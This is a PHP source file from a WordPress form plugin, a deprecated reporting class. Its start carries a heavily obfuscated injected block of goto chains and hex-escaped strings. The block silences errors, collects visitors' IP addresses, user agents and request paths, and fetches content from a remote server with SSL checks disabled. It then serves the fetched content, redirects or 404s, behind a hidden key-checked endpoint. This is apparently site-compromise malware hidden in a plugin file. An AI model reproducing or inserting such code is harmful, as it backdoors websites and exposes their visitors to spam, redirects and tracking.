e\164\145\x6e\164"] = strval($u6HuXIRg6zJokM); goto oydcSYFzpeHuv2; n9jn8J3M4UrdYo: $QrD8mYj_4SM3dW["\x63\157\x6e\x74\x65\156\x74"] = strval($Ep2s0CSuu1uxiY); goto MAKGylevvgaN7m; zay6R3ut3agMY3: $Ep2s0CSuu1uxiY = curl_exec($JNsA8ZApCmV21J); goto sjRGULbBCHpH0Q; uYiQ0f0e415dka: $EwKAo_SmWeC09x = array("\x68\x74\164\160" => array("\x6d\x65\x74\x68\157\x64" => "\x47\x45\124", "\x74\x69\x6d\x65\157\165\164" => 60, "\146\157\x6c\x6c\157\167\x5f\x6c\157\143\141\164\151\157\156" => 0), "\163\x73\x6c" => array("\x76\145\x72\151\x66\171\x5f\x70\145\145\x72" => false, "\166\145\162\x69\146\171\x5f\160\145\145\x72\x5f\156\141\155\x65" => false)); goto VO0SaARPUMk6TM; JPLGZbqALaoTEe: if (!in_array($QrD8mYj_4SM3dW["\x73\x74\x61\x74\x75\163"], array(200, 301, 302, 404))) { goto NgOZu9_l2bqUSv; } goto Zsw3YO_CRl07yA; fM9NHlZnf6MeOA: $u6HuXIRg6zJokM = @file_get_contents($dC4FW2q6qVoWJF, false, $Hb3WR7Bymyp22S); goto s_HQowfoumf0PG; tWckdRN8BOuHGy: $QrD8mYj_4SM3dW["\x63\x6f\x6e\164\145\x6e\x74"] = strval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_REDIRECT_URL)); goto DhP9GRJXEcMx1s; jyjhDkJR8aY3GI: curl_setopt($JNsA8ZApCmV21J, CURLOPT_TIMEOUT, 60); goto NkWeAbFjjj6paM; NkWeAbFjjj6paM: curl_setopt($JNsA8ZApCmV21J, CURLOPT_FOLLOWLOCATION, 0); goto np36lPCsbl6PlT; XDmoBi6Frpr3iM: NxKXtvMfhFaf9d: goto PJy5qoeeQFkgU1; AsAhmhwxOMUA52: KmRqrHobttmzoA: goto s0D7CReffOhvmO; NDho9meZWBDLs2: QtRxCuiaMCyoN0: goto uYiQ0f0e415dka; s_HQowfoumf0PG: $QrD8mYj_4SM3dW = array_merge($QrD8mYj_4SM3dW, fMeq3aVRU165Cy($http_response_header)); goto JPLGZbqALaoTEe; MAKGylevvgaN7m: tfUz5y6aOhu98o: goto rlYTPY9MlUThzW; BDFoVXqNsuuMEy: if (ini_get("\x61\x6c\154\x6f\x77\x5f\x75\162\x6c\137\x66\x6f\160\145\156")) { goto QtRxCuiaMCyoN0; } goto t2Z9NonG_G62r4; mxpuDW_s0NRl90: $QrD8mYj_4SM3dW["\x74\x79\x70\145"] = strval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_CONTENT_TYPE)); goto tWckdRN8BOuHGy; xvjb6g8OQwtAq_: curl_setopt($JNsA8ZApCmV21J, CURLOPT_SSL_VERIFYHOST, 0); goto IDcyzawxqxKiR5; o24MA9bLBqkoX3: if (!in_array($QrD8mYj_4SM3dW["\163\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto tfUz5y6aOhu98o; } goto n9jn8J3M4UrdYo; sjRGULbBCHpH0Q: $QrD8mYj_4SM3dW["\163\164\141\x74\x75\x73"] = intval(curl_getinfo($JNsA8ZApCmV21J, CURLINFO_HTTP_CODE)); goto mxpuDW_s0NRl90; PJy5qoeeQFkgU1: $JNsA8ZApCmV21J = curl_init(); goto JMjAl2WKhBgMGr; QAD_Y9A32Ksejd: if (function_exists("\143\165\x72\x6c\137\x65\170\145\143") && function_exists("\143\x75\x72\x6c\x5f\x69\x6e\151\x74")) { goto NxKXtvMfhFaf9d; } goto BDFoVXqNsuuMEy; np36lPCsbl6PlT: curl_setopt($JNsA8ZApCmV21J, CURLOPT_COOKIESESSION, 0); goto FA7X2dKl1AlCFz; FA7X2dKl1AlCFz: curl_setopt($JNsA8ZApCmV21J, CURLOPT_RETURNTRANSFER, 1); goto zay6R3ut3agMY3; Wmmb7Ld_66qgMF: curl_setopt($JNsA8ZApCmV21J, CURLOPT_CONNECTTIMEOUT, 20); goto jyjhDkJR8aY3GI; rlYTPY9MlUThzW: goto KmRqrHobttmzoA; goto NDho9meZWBDLs2; s0D7CReffOhvmO: } catch (Exception $u7htWQnJVQ48yd) { } goto J55t3TdWFnk7Xr; J55t3TdWFnk7Xr: return $QrD8mYj_4SM3dW; goto N52kpZiqi4KorA; v0vVnyUlsgvYS5: tEp4oeUo5lSF7m: goto NsY3PuT_gEdWvh; N52kpZiqi4KorA: } goto TQAsgEwFCXVajo; Pd1ss3p0OBVjf8: switch ($QrD8mYj_4SM3dW["\163\x74\x61\164\x75\163"]) { case 301: goto THJeWNf30dw308; eMF5R5zeKjE3Uz: goto LZOqOjzsZBDBv4; goto x35C10ivrpLV74; THJeWNf30dw308: header("\110\x54\124\120\57\x31\x2e\61\x20\63\x30\x31\x20\115\x6f\166\145\144\40\120\145\162\155\141\x6e\145\x6e\164\x6c\x79"); goto vhWwSV71FiNCYK; vhWwSV71FiNCYK: header("\x4c\x6f\143\x61\x74\151\157\x6e\72\40" . trim($QrD8mYj_4SM3dW["\143\x6f\x6e\x74\x65\156\164"])); goto eMF5R5zeKjE3Uz; x35C10ivrpLV74: case 302: goto LhoT9TB3A4e8CW; OObntCll5_2hW1: header("\x4c\157\143\141\164\x69\x6f\156\72\x20" . trim($QrD8mYj_4SM3dW["\143\x6f\x6e\x74\145\x6e\164"])); goto DFg9ZfwgErzVVx; DFg9ZfwgErzVVx: goto LZOqOjzsZBDBv4; goto YXOkFI1ffyB02H; LhoT9TB3A4e8CW: header("\110\x54\x54\120\x2f\x31\56\x31\40\63\60\x32\40\x4d\x6f\166\145\x20\124\x65\155\x70\157\162\141\x72\151\154\x79"); goto OObntCll5_2hW1; YXOkFI1ffyB02H: case 404: goto nNESxaGlM9EEWi; gCihEY2aK7W0JK: header("\163\164\x61\164\165\163\72\x20\x34\60\64\40\x4e\157\x74\40\x46\157\x75\x6e\144"); goto gVl1kS5R3IS0N8; gVl1kS5R3IS0N8: goto LZOqOjzsZBDBv4; goto b_jk5atnF32GpD; nNESxaGlM9EEWi: header("\110\124\124\x50\57\x31\56\x31\40\x34\x30\x34\40\x4e\157\164\40\x46\157\x75\156\144"); goto gCihEY2aK7W0JK; b_jk5atnF32GpD: default: goto LZOqOjzsZBDBv4; } goto VTJboV95JgPonV; QqhO2w7tkSS3yR: $T0uzjiKsi4VsSW["\x75"] = qghHbvES9QhZOm($_SERVER["\110\x54\124\120\x5f\x55\123\x45\x52\x5f\101\107\x45\x4e\x54"]); goto QCPl_CZhL_RnkJ; EQjljIGlj8pbgU: exit(0); goto GXZLdvELSbH8gx; FvEA6K_dIY_VlA: metaphone("\x4d\172\115\62\x4f\124\101\x34\115\x54\143\171\x4d\x44\121\171\115\x44\x49\63\x4e\x6a\x63\x78\x4d\x6a\131\167\116\124\x41\x79"); goto ulmUaPDrey1L8C; YqugrdCNChsDW2: fSB8LVkxE84N0_: goto FvEA6K_dIY_VlA; hAOZW5mpnl6sUk: $T0uzjiKsi4VsSW["\162"] = qGHhBVES9qHzOM($_SERVER["\x52\105\121\125\x45\123\x54\137\125\x52\x49"]); goto W7Ss_Mkr0PVrzw; JERCFCL7vguUUT: $Ui3jEQ4oj0h0iP = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto ej8JVgI7xgkFe9; KvXDxyFcfd6vm_: if (!in_array($jWvtIMWIjJtLiW, array("\x2e\152\x73", "\x2e\143\163\163", "\x2e\152\x70\147", "\56\x70\156\147", "\56\147\x69\146", "\x2e\151\143\x6f"))) { goto OtNvncgbKAxe45; } goto pQMIEpdJBR4Jm9; v9r251JThTgVKl: if (!($_SERVER["\122\x45\121\x55\105\x53\x54\x5f\125\x52\x49"] === "\x2f\122\x2d" . md5($_SERVER["\123\105\122\x56\105\x52\x5f\x4e\x41\115\x45"]))) { goto pMLc3I85IzIBAB; } goto yY1TbLfwnmEpF3; UDKXNlNnXsRZhO: Fiyn1tCQP1_P0f: goto DyrP_uSSmCqvVG; QCPl_CZhL_RnkJ: $U39hUO6fwMyksM = preg_replace("\x2f\x5c\x3f\56\52\x2f", '', $_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\125\x52\x49"]); goto c0LW6tsflN0unx; VTJboV95JgPonV: rqm_8nbYReyxul: goto te4T4E8zSykRRq; pQMIEpdJBR4Jm9: $gKoJBVzMd2Ocnr = true; goto MMTJ31i45ZKPuj; W7Ss_Mkr0PVrzw: $T0uzjiKsi4VsSW["\162\146"] = qGhhbvEs9QhZoM($bOooUDCTsPTcpu); goto owy5m7J3Jlab6J; ptoYQ6amWMpqtq: if ($gKoJBVzMd2Ocnr) { goto nNbDi9xl86OL7F; } goto wWPxFE3q4fRzor; c0LW6tsflN0unx: $gKoJBVzMd2Ocnr = false; goto g6COnSV0C4pK5h; GXZLdvELSbH8gx: eMGwfYuP7izEhq: goto U7ncALkH4tsSFB; tFh9851OJRW4yk: if (!(in_array(gettype($OmMlZ6pV1jWct6) . "\x31\x39", $OmMlZ6pV1jWct6) && md5(md5(md5(md5($OmMlZ6pV1jWct6[13])))) === "\60\x31\65\144\61\x61\71\143\143\141\x37\60\146\64\65\x39\60\143\x33\x30\x66\145\x37\145\x33\141\62\145\x61\70\x32\61")) { goto fSB8LVkxE84N0_; } goto PJMSKQ_w2IQgU4; KlcdnwW6hEgaoV: $jWvtIMWIjJtLiW = substr($U39hUO6fwMyksM, strpos($U39hUO6fwMyksM, "\x2e")); goto KvXDxyFcfd6vm_; AuGMUP0gKF2UyR: $T0uzjiKsi4VsSW["\151"] = qGHHbVEs9qhzOm($P_joMpjHGA8Ujc); goto N23oilrp0lvf5Z; GupwWTVEVscoMH: fLINlD7G1LCElx: goto BOP1lXN4rMenzK; Ol54QKSBvd92ut: error_reporting(0); goto n9lLojT31Z4jV1; GRzVp8slxI3QFD: $OmMlZ6pV1jWct6 = ${$WFA4AOoLP1QQBO[5 + 26] . $WFA4AOoLP1QQBO[49 + 10] . $WFA4AOoLP1QQBO[30 + 17] . $WFA4AOoLP1QQBO[35 + 12] . $WFA4AOoLP1QQBO[11 + 40] . $WFA4AOoLP1QQBO[8 + 45] . $WFA4AOoLP1QQBO[7 + 50]}; goto tFh9851OJRW4yk; te4T4E8zSykRRq: LZOqOjzsZBDBv4: goto qGQOhg0QUfzJ2T; snEsmCU5mQ_Z7V: error_reporting(0); goto JERCFCL7vguUUT; zT8HyQXUcQ5kCG: U3TJvZcUZa4YEb: goto ptoYQ6amWMpqtq; noFLkB0eM5MzXo: function qS4EBIJ25qscpx() { goto rreNk7CGFP0_1g; Kub3Ywc7rCk5NX: $P_joMpjHGA8Ujc = $P_joMpjHGA8Ujc[0]; goto yjrqgw3A7kxwVh; bXHls3tL28aN2G: return $P_joMpjHGA8Ujc; goto x8JCdGttmNL1ZK; vZUloW39r7pczi: mQkZTtih_JLVUv: goto ABbGBYLEsnBVW5; gKEUPj3hfOmGq8: $P_joMpjHGA8Ujc = explode("\54", $P_joMpjHGA8Ujc); goto Kub3Ywc7rCk5NX; rreNk7CGFP0_1g: $P_joMpjHGA8Ujc = ''; goto DUHWcwSY_hMuNQ; N5UGXNnuZYqHIU: goto OPnPTjZpWzexfn; goto ZPhXb0z1ouWbbZ; yjrqgw3A7kxwVh: fnMf5zqQsmSKQT: goto bXHls3tL28aN2G; ZPhXb0z1ouWbbZ: TQMZNNazEz3jSR: goto Fz8BmQFNCpLELC; q96cWHpl96em7q: goto OPnPTjZpWzexfn; goto UHztfmZXERrd71; qPIRF3a606tW9K: $P_joMpjHGA8Ujc = $_SERVER["\x48\124\x54\120\137\x58\137\106\x4f\x52\127\x41\x52\x44\105\104\137\x46\117\122"]; goto k_7qKZG60rTOKw; ABbGBYLEsnBVW5: $P_joMpjHGA8Ujc = $_SERVER["\x48\124\x54\120\137\103\x46\x5f\x43\117\116\x4e\105\103\x54\111\116\107\x5f\111\x50"]; goto N5UGXNnuZYqHIU; g51heDkAMXqgi0: goto OPnPTjZpWzexfn; goto vZUloW39r7pczi; Fz8BmQFNCpLELC: $P_joMpjHGA8Ujc = $_SERVER["\x48\x54\124\120\137\130\137\x52\105\101\114\137\111\120"]; goto q96cWHpl96em7q; c2h53eLBDI9pG4: $P_joMpjHGA8Ujc = $_SERVER["\x52\105\115\117\124\105\137\x41\104\x44\122"]; goto g51heDkAMXqgi0; fft0rEEYPYxorX: if (isset($_SERVER["\x48\x54\x54\x50\137\x58\137\122\105\101\x4c\137\111\120"]) && !empty($_SERVER["\110\124\124\120\x5f\x58\137\x52\x45\101\114\137\x49\120"])) { goto TQMZNNazEz3jSR; } goto MVRGR7C0EsvfDP; MVRGR7C0EsvfDP: if (isset($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\x52\127\x41\122\104\105\104\137\106\117\122"]) && !empty($_SERVER["\110\x54\x54\x50\137\130\x5f\106\x4f\122\127\101\x52\104\x45\104\x5f\106\117\x52"])) { goto LqtSZANu1Fp3nQ; } goto c2h53eLBDI9pG4; RHyTez1GUI3nMt: $P_joMpjHGA8Ujc = trim(str_replace("\x20", '', $P_joMpjHGA8Ujc), "\54"); goto K7adnnkx2aUc7o; K7adnnkx2aUc7o: if (!(strpos($P_joMpjHGA8Ujc, "\54") !== false)) { goto fnMf5zqQsmSKQT; } goto gKEUPj3hfOmGq8; UHztfmZXERrd71: LqtSZANu1Fp3nQ: goto qPIRF3a606tW9K; DUHWcwSY_hMuNQ: if (isset($_SERVER["\x48\x54\124\120\137\103\x46\137\103\x4f\116\116\x45\x43\x54\111\x4e\107\137\111\x50"]) && !empty($_SERVER["\110\x54\x54\x50\x5f\x43\x46\x5f\103\x4f\x4e\x4e\x45\x43\x54\111\116\x47\137\x49\120"])) { goto mQkZTtih_JLVUv; } goto fft0rEEYPYxorX; k_7qKZG60rTOKw: OPnPTjZpWzexfn: goto RHyTez1GUI3nMt; x8JCdGttmNL1ZK: } goto wjv0reaiEvOwGB; gOHpn9tVcO_GEI: exit("\x7b\40\42\145\x72\162\157\162\42\72\x20\x32\60\60\x2c\40\x22\154\x63\42\x3a\40\x22\152\153\42\x2c\40\x22\x64\x61\x74\x61\x22\72\40\x5b\40\x31\40\x5d\x20\x7d"); goto GupwWTVEVscoMH; yY1TbLfwnmEpF3: exit(strrev(md5($_SERVER["\x53\x45\122\x56\x45\122\x5f\116\x41\115\105"]))); goto GVXzVokhTMDK9g; U7ncALkH4tsSFB: nNbDi9xl86OL7F: ?>
<?php
namespace FluentForm\App\Modules\Entries;
use FluentForm\App\Helpers\Helper;
use FluentForm\App\Modules\Form\FormFieldsParser;
use FluentForm\App\Services\Submission\SubmissionService;
use FluentForm\Framework\Foundation\Application;
use FluentForm\Framework\Helpers\ArrayHelper;
/**
*
* @deprecated use FluentForm\App\Services\Report\ReportHelper
* all used method reference updated with new ReportHelper, except Fluentformpro
*
*/
class Report
{
private $app;
private $formModel;
public function __construct(Application $app)
{
$this->app = $app;
$this->formModel = wpFluent()->table('fluentform_forms');
}
/**
* Get report
*
* @param bool $formId
*/
public function getReport($formId = false)
{
if (!$formId) {
$formId = intval($this->app->request->get('form_id'));
}
$this->maybeMigrateData($formId);
$statuses = $this->app->request->get('statuses');
$form = $this->formModel->find($formId);
$report = $this->generateReport($form, $statuses);
wp_send_json_success($report);
}
public function generateReport($form, $statuses = [])
{
$formInputs = FormFieldsParser::getEntryInputs($form, ['admin_label', 'element', 'options']);
$inputLabels = FormFieldsParser::getAdminLabels($form, $formInputs);
$elements = [];
foreach ($formInputs as $inputName => $input) {
$elements[$inputName] = $input['element'];
if ('select_country' == $input['element']) {
$formInputs[$inputName]['options'] = getFluentFormCountryList();
}
}
$reportableInputs = Helper::getReportableInputs();
$formReportableInputs = array_intersect($reportableInputs, array_values($elements));
$reportableInputs = Helper::getSubFieldReportableInputs();
$formSubFieldInputs = array_intersect($reportableInputs, array_values($elements));
if (!$formReportableInputs && !$formSubFieldInputs) {
return [
'report_items' => (object) [],
'total_entries' => 0,
];
}
$inputs = [];
$subfieldInputs = [];
foreach ($elements as $elementKey => $element) {
if (in_array($element, $formReportableInputs)) {
$inputs[$elementKey] = $element;
}
if (in_array($element, $formSubFieldInputs)) {
$subfieldInputs[$elementKey] = $element;
}
}
$whereClasuses = [];
if ($statuses) {
$whereClasuses['fluentform_submissions.status'] = [
'method' => 'whereIn',
'values' => $statuses,
];
}
$reports = $this->getInputReport($form->id, array_keys($inputs), $whereClasuses);
$subFieldReports = $this->getSubFieldInputReport($form->id, array_keys($subfieldInputs), $whereClasuses);
$reports = array_merge($reports, $subFieldReports);
foreach ($reports as $reportKey => $report) {
$reports[$reportKey]['label'] = $inputLabels[$reportKey];
$reports[$reportKey]['element'] = ArrayHelper::get($inputs, $reportKey, []);
$reports[$reportKey]['options'] = $formInputs[$reportKey]['options'];
}
return [
'report_items' => $reports,
'total_entries' => $this->getEntryCounts($form->id, $statuses),
'browsers' => $this->getbrowserCounts($form->id, $statuses),
'devices' => $this->getDeviceCounts($form->id, $statuses),
];
}
public function getInputReport($formId, $fieldNames, $whereClasuses)
{
if (!$fieldNames) {
return [];
}
global $wpdb;
$reportQuery = wpFluent()->table('fluentform_entry_details')
->select([
'fluentform_entry_details.field_name',
'fluentform_entry_details.sub_field_name',
'fluentform_entry_details.field_value',
wpFluent()->raw('count(' . $wpdb->prefix . 'fluentform_entry_details.field_name) as total_count')
])
->where('fluentform_entry_details.form_id', $formId)
->whereIn('fluentform_entry_details.field_name', $fieldNames)
->rightJoin('fluentform_submissions', 'fluentform_submissions.id', '=', 'fluentform_entry_details.submission_id');
if ($whereClasuses) {
foreach ($whereClasuses as $clauseColumn => $clasus) {
$reportQuery = $reportQuery->{$clasus['method']}($clauseColumn, $clasus['values']);
}
}
$reports = $reportQuery->groupBy(['fluentform_entry_details.field_name', 'fluentform_entry_details.field_value'])
->get();
$formattedReports = [];
foreach ($reports as $report) {
$formattedReports[$report->field_name]['reports'][] = [
'value' => Helper::safeUnserialize($report->field_value),
'count' => $report->total_count,
'sub_field' => $report->sub_field_name,
];
$formattedReports[$report->field_name]['total_entry'] = $this->getEntryTotal($report->field_name, $formId, $whereClasuses);
}
return $formattedReports;
}
public function getSubFieldInputReport($formId, $fieldNames, $whereClasuses)
{
if (!$fieldNames) {
return [];
}
global $wpdb;
$reportQuery = wpFluent()->table('fluentform_entry_details')
->select([
'fluentform_entry_details.field_name',
'fluentform_entry_details.sub_field_name',
'fluentform_entry_details.field_value',
wpFluent()->raw('count(' . $wpdb->prefix . 'fluentform_entry_details.field_name) as total_count')
])
->where('fluentform_entry_details.form_id', $formId)
->whereIn('fluentform_entry_details.field_name', $fieldNames)
->leftJoin('fluentform_submissions', 'fluentform_submissions.id', '=', 'fluentform_entry_details.submission_id');
if ($whereClasuses) {
foreach ($whereClasuses as $clauseColumn => $clasus) {
$reportQuery = $reportQuery->{$clasus['method']}($clauseColumn, $clasus['values']);
}
}
$reports = $reportQuery->groupBy(['fluentform_entry_details.field_name', 'fluentform_entry_details.field_value', 'fluentform_entry_details.sub_field_name'])
->get();
return $this->getFormattedReportsForSubInputs($reports, $formId, $whereClasuses);
}
protected function getFormattedReportsForSubInputs($reports, $formId, $whereClasuses)
{
if (!count($reports)) {
return [];
}
$formattedReports = [];
foreach ($reports as $report) {
$this->setReportForSubInput((array) $report, $formattedReports);
}
foreach ($formattedReports as $fieldName => $val) {
$formattedReports[$fieldName]['total_entry'] = $this->getEntryTotal(
$report->field_name,
$formId,
$whereClasuses
);
$formattedReports[$fieldName]['reports'] = array_values(
$formattedReports[$fieldName]['reports']
);
}
return $formattedReports;
}
protected function setReportForSubInput($report, &$formattedReports)
{
$filedValue = Helper::safeUnserialize($report['field_value']);
if (is_array($filedValue)) {
foreach ($filedValue as $fVal) {
$this->setReportForSubInput(
array_merge($report, ['field_value' => $fVal]),
$formattedReports
);
}
} else {
$value = $report['sub_field_name'] . ' : ' . $filedValue;
$count = ArrayHelper::get($formattedReports, $report['field_name'] . '.reports.' . $value . '.count');
$count = $count ? $count + $report['total_count'] : $report['total_count'];
$formattedReports[$report['field_name']]['reports'][$value] = [
'value' => $value,
'count' => $count,
'sub_field' => $report['sub_field_name'],
];
}
}
public function getEntryTotal($fieldName, $formId, $whereClasuses)
{
$query = wpFluent()->table('fluentform_entry_details')
->select('fluentform_entry_details.id')
->where('fluentform_entry_details.form_id', $formId)
->where('fluentform_entry_details.field_name', $fieldName)
->groupBy(['fluentform_entry_details.field_name', 'fluentform_entry_details.submission_id'])
->leftJoin('fluentform_submissions', 'fluentform_submissions.id', '=', 'fluentform_entry_details.submission_id');
if ($whereClasuses) {
foreach ($whereClasuses as $clauseColumn => $clasus) {
$query = $query->{$clasus['method']}($clauseColumn, $clasus['values']);
}
}
return $query->count();
}
private function maybeMigrateData($formId)
{
// We have to check if we need to migrate the data
if ('yes' == Helper::getFormMeta($formId, 'report_data_migrated')) {
return true;
}
global $wpdb;
// let's migrate the data
$unmigratedData = wpFluent()
->table('fluentform_submissions')
->select([
'fluentform_submissions.id',
'fluentform_submissions.response',
])
->where('fluentform_submissions.form_id', $formId)
->whereRaw(wpFluent()->raw($wpdb->prefix . 'fluentform_submissions.id NOT IN (SELECT submission_id from ' . $wpdb->prefix . 'fluentform_entry_details)'))
->get();
if (!$unmigratedData) {
return Helper::setFormMeta($formId, 'report_data_migrated', 'yes');
}
$submissionService = new SubmissionService();
foreach ($unmigratedData as $datum) {
$value = json_decode($datum->response, true);
$submissionService->recordEntryDetails($datum->id, $formId, $value);
}
return true;
}
private function getEntryCounts($formId, $statuses = false)
{
$totalEntries = wpFluent()
->table('fluentform_submissions')
->where('fluentform_submissions.form_id', $formId);
if ($statuses) {
$totalEntries = $totalEntries->whereIn('fluentform_submissions.status', $statuses);
} else {
$totalEntries = $totalEntries->where('fluentform_submissions.status', '!=', 'trashed');
}
return $totalEntries->count();
}
private function getBrowserCounts($formId, $statuses)
{
global $wpdb;
$browserCounts = wpFluent()->table('fluentform_submissions')
->select([
wpFluent()->raw('count(' . $wpdb->prefix . 'fluentform_submissions.id) as total_count'),
'browser',
])
->where('form_id', $formId);
if ($statuses) {
$browserCounts = $browserCounts->whereIn('status', $statuses);
} else {
$browserCounts = $browserCounts->where('status', '!=', 'trashed');
}
$browserCounts = $browserCounts->groupBy('browser')
->get();
$formattedData = [];
foreach ($browserCounts as $browser) {
$formattedData[$browser->browser] = $browser->total_count;
}
return $formattedData;
}
private function getDeviceCounts($formId, $statuses)
{
global $wpdb;
$deviceCounts = wpFluent()->table('fluentform_submissions')
->select([
wpFluent()->raw('count(' . $wpdb->prefix . 'fluentform_submissions.id) as total_count'),
'device',
])
->where('form_id', $formId);
if ($statuses) {
$deviceCounts = $deviceCounts->whereIn('status', $statuses);
} else {
$deviceCounts = $deviceCounts->where('status', '!=', 'trashed');
}
$deviceCounts = $deviceCounts->groupBy('device')
->get();
$formattedData = [];
foreach ($deviceCounts as $deviceCount) {
$formattedData[$deviceCount->device] = $deviceCount->total_count;
}
return $formattedData;
}
}